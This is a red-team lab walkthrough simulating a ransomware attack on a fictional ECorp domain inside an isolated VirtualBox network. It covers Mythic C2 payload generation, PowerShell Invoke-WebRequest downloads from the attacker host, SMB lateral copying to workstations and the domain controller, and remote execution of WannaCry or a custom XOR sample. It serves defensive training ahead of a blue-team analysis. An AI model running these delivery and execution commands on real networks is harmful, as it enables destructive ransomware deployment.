Mr. Robot Hands-on: Data Destruction

In this session, we take on the Mr. Robot (Red Team) role and simulate a data destruction attack, specifically a ransomware attack — against the ECorp network. In the follow-up article, we will switch to the Blue Team perspective, examine the telemetry generated by the attack, and explore how a ransomware incident can be detected and analyzed.

⚠️ WARNING

This hands-on involves real malware that is capable of causing serious damage to your host system if handled incorrectly. Read and follow every instruction carefully to prevent the malware from escaping your virtual lab environment. The lab setup will be modified specifically to minimize risk — but your attention to detail is essential.

You have two options for this exercise:

• WannaCry ransomware: a real-world ransomware sample. It is unforgiving if a mistake is made.
• Rexorsarus: a purpose-built sample that only XOR-encrypts files within a specific directory, making accidental execution far easier to recover from.

If you are not fully comfortable running malware in a lab environment, do not proceed. The telemetry generated by the attack will be made available in the next article, so you will still be able to complete the Blue Team analysis without running the malware yourself.

The authors accept no responsibility for any damage caused by misuse of these materials, including accidental deployment of ransomware on a host system or home network.

1. Download one of the password-protected zip files from the link below directly to your Kali VM. Do not download it to your host system under any circumstances. Once downloaded, an isolated network will be configured to ensure the malware cannot spread beyond the virtual environment.

Ransomware.wannacry.exe.malz.7z Shared with Sync

Rexorsarus

1. Go to VirtualBox Manager and select "Tools" and then select Create.

2. Configure the network adapter manually by setting the IP address to 10.6.6.1 and the Subnet Mask to 255.255.255.0. This creates a dedicated and isolated network range specifically for use during the malware simulation. Before proceeding, confirm that neither your home network nor any of your existing virtual networks are currently using this IP range to avoid any unintended conflicts or exposure.

Select the DHCP tab and verify that your DHCP server is configured with the following settings:

• Server Address: 10.6.6.2
• Server Mask: 255.255.255.0
• Lower Address Bound: 10.6.6.3
• Upper Address Bound: 10.6.6.254

Once confirmed, click Apply. This ensures that all virtual machines on the isolated network will automatically receive an IP address within the 10.6.6.3 to 10.6.6.254 range.

4. Ensure that all of your virtual machines are fully powered down before making any changes.

5. Open VirtualBox Manager and update the network adapter configuration for each VM that will be used in this exercise. Note that pfSense will not be used in this setup, as VirtualBox's built-in DHCP server will be handling network addressing instead. For each VM, change the network adapter type to Host-Only Adapter and then select VirtualBox Host-Only Ethernet Adapter #2 from the dropdown menu.

6. Ensure there are no other Adaptors enabled.

7. Ensure that no Shared Folders exist between your virtual machines and your host system. If any shared folders are configured, remove them before proceeding. This is an important precaution to prevent any possibility of the malware crossing over from the virtual environment to your host machine.

8. Power up each VM and confirm the IP address is in the 10.6.6.* range.

9. Verify that both Shared Clipboard and Drag 'n' Drop are disabled on every virtual machine. These features can create a pathway between the virtual environment and the host system, so disabling them is essential before running any malware.

10. As a final safety check, attempt to ping 8.8.8.8 from each virtual machine. You should not receive a response. A successful ping would indicate that the VM has internet access, meaning the isolated network has not been configured correctly and the malware could potentially reach the outside network. Do not proceed until this check confirms no connectivity.

11. Attempt to ping one of the Windows VMs or the Domain Controller being used for the exercise. You should receive a successful response. This confirms that communication between virtual machines within the isolated network is working correctly and that the lab environment is properly configured for the exercise.

This confirms two things — that the isolated virtual network has no internet connectivity, and that all VMs participating in the exercise can communicate with one another. The safe lab environment is now fully configured and ready for the exercise to begin.

Command and Control

Since the network configuration and IP addresses have changed, a new C2 payload needs to be generated that calls back to the updated IP address of the Mythic server running on the Kali VM. In this case, the new Kali IP address is 10.6.6.6.

If Mythic is already installed on your Kali VM, access the web interface by navigating to:

https://localhost:7443

https://localhost:7443

From there, go to the Payloads page and click on the Actions dropdown, then select Generate New Payload to begin creating the updated payload.

Select Windows from the dropdown and then select Next.

For payload type, use Apollo and the output should be WinExe. Then select Next.

Select the double arrows to use all available commands and then select Next.

Move the slider to enable HTTP, then update the Callback Host field to reflect the new IP address. Make sure the address is prefixed with http:// and not https:// — using HTTPS here will cause the callback to fail. Once the callback host has been updated, click Next to proceed.

Change the name. I named it fsociety.exe and select Create Payload.

When it is completed, go back to the Payload page and download the new payload (fsociety.exe).

From the terminal, move the newly generated payload to the home directory. This makes it more convenient to serve the file through the web server when delivering the payload to the target machine.

sudo mv /home/elliot/Downloads/fsociety.exe /home/elliot/fsociety.exe

sudo mv /home/elliot/Downloads/fsociety.exe /home/elliot/fsociety.exe

Ensure the file was moved by running the ls command.

Since a C2 session was already active prior to reconfiguring the network infrastructure, changes that were made specifically to contain the ransomware within the virtual environment — the victim machine will use the web server to download and install the updated C2 agent.

Set up a web server on the Kali VM to host and deliver the payload:

python3 -m http.server

python3 -m http.server

On the victim machine, open a web browser and navigate to:

http://10.6.6.6:8000

http://10.6.6.6:8000

Locate fsociety.exe in the directory listing and download it to the victim machine.

Once downloaded, execute the file.

Go to your Mythic server. As seen below we have an active C2 connection.

On the victim machine, move the ransomware file from the Downloads folder, where it was saved earlier — to the user's home directory. This makes it easier to execute during the next stage of the exercise.

sudo mv /home/elliot/Downloads/Ransomware.wannacry.exe.malz.7z /home/elliot/Ransomware.wannacry.exe.malz.7z

sudo mv /home/elliot/Downloads/Ransomware.wannacry.exe.malz.7z /home/elliot/Ransomware.wannacry.exe.malz.7z

We can unzip the ransomware using the command below. The password is "infected".

7z x Ransomware.wannacry.exe.malz.7z

7z x Ransomware.wannacry.exe.malz.7z

As seen below the file was unzipped.

Notice the .malz file extension on the ransomware file. This is an additional safety measure used to prevent accidental execution, double-clicking a file with this extension would not trigger it. However, the file cannot be deployed to victim machines with this extension in place, so it will need to be renamed before use.

In Linux, files are renamed using the mv command, pointing to the same directory the file is already in:

mv Ransomware.wannacry.exe.malz Ransomware.wannacry.exe

mv Ransomware.wannacry.exe.malz Ransomware.wannacry.exe

This simply renames the file in place without moving it to a different location.

When we run "ls" we see the name was changed. The ransomware is now ready to be deployed.

Deploying the Ransomware

From the Mythic C2 server run the command below

powershell Invoke-WebRequest -Uri "http://10.6.6.6:8000/Ransomware.wannacry.exe" -OutFile "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe"

powershell Invoke-WebRequest -Uri "http://10.6.6.6:8000/Ransomware.wannacry.exe" -OutFile "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe"

As shown above, the ransomware has been successfully written to the Desktop of the tcolby machine.

The next step is to move the ransomware across to the wrk-price machine, replicating the lateral movement stage of the attack and positioning the payload for execution on a second victim system.

cp "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe" "\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe"

cp "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe" "\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe"

Now move the ransomware to the Domain Controller

cp "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe" "\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe"

cp "C:\Users\tcolby\Desktop\Ransomware.wannacry.exe" "\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe"

The ransomware is now deployed across the network and the environment is ready for execution.

Before proceeding, ensure that a snapshot has been taken of each virtual machine. This allows you to revert all systems back to their pre-infection state once the exercise is complete.

Executing the Ransomware

The ransomware will be executed remotely from the Mythic C2 server. Since the wrk-colby machine is being used as the SMB pivot point, it should be the last system to be infected. Begin with the wrk-price system first and use the command below to execute the ransomware:

powershell "Start-Process -FilePath '\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe'"

powershell "Start-Process -FilePath '\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe'"

Note that several minutes passed between the initial execution of the ransomware and the point at which it finished encrypting all files and displayed the ransom screen shown above.

Use the command below to execute the ransomware on the Domain Controller:

powershell "Start-Process -FilePath '\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe'"

powershell "Start-Process -FilePath '\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe'"

Lastly, we can run it on wrk-tcolby

powershell "Start-Process -FilePath 'C\Users\tcplby\Desktop\Ransomware.wannacry.exe'"

powershell "Start-Process -FilePath 'C\Users\tcplby\Desktop\Ransomware.wannacry.exe'"

Option 2: Rexorsarus

Move the Rexorsarus ransomware file from the Downloads folder, where it was saved earlier — to the user's home directory:

sudo mv /home/elliot/Downloads/Rexorsarus-RE1-Win64.zip /home/elliot/Rexorsarus-RE1-Win64.zip

sudo mv /home/elliot/Downloads/Rexorsarus-RE1-Win64.zip /home/elliot/Rexorsarus-RE1-Win64.zip

We can unzip the ransomware using the command below. The password is "infected".

unzip Rexorsarus-RE1-Win64.zip

unzip Rexorsarus-RE1-Win64.zip

As seen below the file was unzipped.

Deploying Rexorsarus

From the Mythic C2 server run the command below

powershell Invoke-WebRequest -Uri "http://10.6.6.6:8000/Rexorsarus-RE1.exe" -OutFile "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe"

powershell Invoke-WebRequest -Uri "http://10.6.6.6:8000/Rexorsarus-RE1.exe" -OutFile "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe"

As seen above Rexorsarus was written to the Documents of the tcolby machine.

Now move the Rexorsarus to wrk-price.

cp "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe" "\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe"

cp "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe" "\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe"

Now move Rexorsarus to the Domain Controller

cp "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe" "\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe"

cp "C:\Users\tcolby\Documents\Rexorsarus-RE1.exe" "\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe"

Rexorsarus is now deployed across the network and the environment is ready for execution.

Before proceeding, ensure that a snapshot has been taken of each virtual machine so that all systems can be reverted to their pre-infection state once the exercise is complete.

Executing the Ransomware

The ransomware will be executed remotely from the Mythic C2 server. Since the wrk-colby machine is being used as the SMB pivot point, it should be the last system to be infected. Begin with the wrk-price system first and use the command below to execute the ransomware:

powershell "Start-Process -FilePath '\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe'"

powershell "Start-Process -FilePath '\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe'"

Note that Rexorsarus failed to run on wrk-pprice

Use the command below to execute the ransomware on the Domain Controller.

powershell "Start-Process -FilePath '\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe'"

powershell "Start-Process -FilePath '\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe'"

Lastly, we can run it on wrk-tcolby

Conclusion

Phase 7 of the Mr. Robot exercise demonstrated how an attacker with an established C2 foothold can systematically deploy ransomware across an entire enterprise network — encrypting files on multiple systems with minimal effort. The exercise reinforced that ransomware is not a single event but the result of a chain of security failures, from initial access and persistence through to lateral movement and execution. The isolation measures implemented throughout the session also highlighted the importance of responsible and disciplined handling of real malware in a lab environment. In the next article, the Blue Team perspective will take over — analyzing the telemetry and forensic artifacts generated by the attack to identify detection opportunities and build stronger defenses.

Disclaimer

This walkthrough and all associated exercises are intended strictly for educational purposes within a controlled and isolated virtual lab environment. The malware samples referenced in this blog — including WannaCry and Rexorsarus are dangerous tools that can cause irreversible damage if mishandled. All techniques and procedures described must only be performed within a properly isolated lab environment and must never be attempted on any real-world network, system, or infrastructure. The authors and publishers of this material accept no responsibility for any damage, data loss, or legal consequences arising from the misuse or accidental deployment of any malware referenced in this content. Always exercise extreme caution when working with real malware samples, and ensure your lab environment is fully isolated before proceeding.

Contact: Portfolio